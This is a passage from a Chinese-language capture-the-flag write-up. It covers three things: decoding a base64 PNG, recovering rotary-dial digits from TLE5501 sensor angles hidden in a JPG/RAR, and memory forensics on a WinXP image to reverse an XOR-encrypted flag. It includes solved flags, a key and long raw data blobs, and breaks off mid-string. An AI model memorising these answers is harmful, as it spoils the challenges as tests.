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
base64解密一下，是一个png图片
保存成png图片，图片下方即为flag
### ChieftainsSecret
下载附件得到一个docx文件和一张jpg图片，docx文件是题目描述，没什么用。
jpg图片是一个老式拨号机。
JPG图片用winhex打开发现FFD9文件尾不在文件的最后，后面隐藏了一个rar文件
提取出rar文件，里面有一个csv文件和一张jpg图片
谷歌搜索下TLE5501芯片，可知会输出一个角度，正好原图上这种老式拨号机，是通过转动转盘旋转读取数字的。
csv内有PC0-3四个数字，根据芯片图可知正好对应SIN_P，SIN_N，COS_P，COS_N。
已知sin cos可以计算tan或arctan，知道tan或arctan即可求得角度，直接利用excel表格计算
求sin坐标
求cos坐标
知道了sin和cos，就可以求arctan了。
在excel里发现用这个最为方便
这里写的是G2=TAN(E2,F2), H2=ATAN(F2,E2)*180/PI()
之后做一个表
这个就是拨号的角度变化图，初始状态为-180度，即图中这个地方
之后约每360/15=24度为一个数字，老式拨号机就是转动到一个数字后，再切回起点。故图中是此起彼伏的山脉形状。
之后根据约24度为一个数字，最高点就是转动到需要的电话号码数字然后开始拨回起点。
得到flag：
77085962457
### 考古
下载附件是一个是一个winXP的内存文件
首先pstree一下看看有什么进程，可以看到cmd进程
然后cmdscan一下，发现一些信息
根据提示可以得出是跟C盘里的Oneclickcleanup.exe有关
filescan一下
然后dumpfiles出来，得到一个exe文件
用IDA打开exe文件，F5一下
得到一个加密脚本
data_start的值为：
数据很多，就不全部放出来了。
key为
然后可以写一个逆脚本反推一下
key = 'this_a_key'
flag = ''
data = "A4A77893FED0458A6579746869735F615F6B65797468697361615C6B9B867D686F735F615F6B6579746869735E615F6B6E79746869735F615F7B65797A6869735E615F6B9B868B9769735F61536B65798B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B973B733061306B117954682C7331612B6B17790D6869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F61496B60798B97968CA09EA09466797468697A5D615F6B6579B46869735F615F2D6579746869735F615F6B657984840ECBB01B886A60797468E97F5F615F6B657975682A733061326B15793B680B7335615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869734D615D6A9A868B97968CA09EA0949A86746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65791A6869735F615F6B32791B681B733B611B6B0A7917681C7332613A6B0B79006869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746873735D60A0949A8670686973A09EA0946579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735D615F6B3773746869735F61106B07791E680C733C612B6B35791B68067333615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579626868725E615F6B67797468968CA09E5F6B6579746869735F615F6B6579746869735F617FABAFD59B12BE727FA195C78A03A36969735F615F6B6579746869735D615F6B98868B97978CA09EA1949A867368697359615F6B6179746861735F61566B65797E686973A19EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09E5A6B36790168047332613E6B17790D6820733161396B0A79066804733E612B6B0C791B6807735F615F6B6579746869735F615F6B6579746869735F615F6B65795C686B73A09EA0949A868B97968CA09E5F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746879735F61196A6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65797468968CA09EA0949A868B97968C5F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B65798B97968CA09EA0949A868B9769735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B9A868B97968CA09EA0949A86746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B6579746869735F615F6B64797468978CA09E5C6B6579706869735A615F6B637974686E735F61576B65797D68697355615F6B6E79746865735F61526B65797A68697350615F6B7379746878735F614D6B6579676869734B615F6B70797468978CA09E486B65796C68697346615F6B7F79746872735F61436B65796968697341615F6B7A79746849735F617E6B6579566869737C615F6B417974684C735F61796B65795368697377615F6B4C79746843735F61746B65795868697372615F6B4B79746846735F616F6B657945686973A19EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA09EA0949A868B97968CA0